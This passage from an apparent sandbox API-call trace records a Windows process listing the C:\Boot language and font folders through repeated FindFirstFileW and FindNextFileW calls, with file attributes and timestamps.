ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="en-US", cAlternateFileName="")) returned 1 [0050.052] GetLastError () returned 0x12 [0050.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*" (normalized: "c:\\boot\\en-us\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d39a8 [0050.052] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.052] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.052] GetLastError () returned 0x12 [0050.052] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0050.052] GetLastError () returned 0x12 [0050.052] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0050.053] FindClose (in: hFindFile=0x4d39a8 | out: hFindFile=0x4d39a8) returned 1 [0050.053] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.053] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="es-ES", cAlternateFileName="")) returned 1 [0050.053] GetLastError () returned 0x12 [0050.053] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*" (normalized: "c:\\boot\\es-es\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d39a8 [0050.053] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.053] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.053] GetLastError () returned 0x12 [0050.053] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.053] FindClose (in: hFindFile=0x4d39a8 | out: hFindFile=0x4d39a8) returned 1 [0050.054] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.054] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0050.054] GetLastError () returned 0x12 [0050.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*" (normalized: "c:\\boot\\fi-fi\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.054] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.054] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.054] GetLastError () returned 0x12 [0050.054] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.054] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.054] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.055] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Fonts", cAlternateFileName="")) returned 1 [0050.055] GetLastError () returned 0x12 [0050.055] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*" (normalized: "c:\\boot\\fonts\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d52d8 [0050.127] FindNextFileW (in: hFindFile=0x4d52d8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.133] FindNextFileW (in: hFindFile=0x4d52d8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0050.137] GetLastError () returned 0x12 [0050.137] FindNextFileW (in: hFindFile=0x4d52d8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0050.137] GetLastError () returned 0x12 [0050.137] FindNextFileW (in: hFindFile=0x4d52d8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957426c0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x957426c0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0050.137] GetLastError () returned 0x12 [0050.137] FindNextFileW (in: hFindFile=0x4d52d8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957426c0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x957426c0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0050.137] GetLastError () returned 0x12 [0050.138] FindNextFileW (in: hFindFile=0x4d52d8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95768820, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0050.138] GetLastError () returned 0x12 [0050.138] FindNextFileW (in: hFindFile=0x4d52d8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95768820, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0050.138] FindClose (in: hFindFile=0x4d52d8 | out: hFindFile=0x4d52d8) returned 1 [0050.138] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.138] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0050.138] GetLastError () returned 0x12 [0050.138] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*" (normalized: "c:\\boot\\fr-fr\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.138] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.138] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.138] GetLastError () returned 0x12 [0050.138] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.138] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.138] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.138] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0050.138] GetLastError () returned 0x12 [0050.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*" (normalized: "c:\\boot\\hu-hu\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.139] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.139] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.139] GetLastError () returned 0x12 [0050.139] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.139] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.139] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.139] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="it-IT", cAlternateFileName="")) returned 1 [0050.139] GetLastError () returned 0x12 [0050.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*" (normalized: "c:\\boot\\it-it\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.139] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.139] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.139] GetLastError () returned 0x12 [0050.139] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.139] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.140] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.140] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0050.140] GetLastError () returned 0x12 [0050.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*" (normalized: "c:\\boot\\ja-jp\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.140] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, 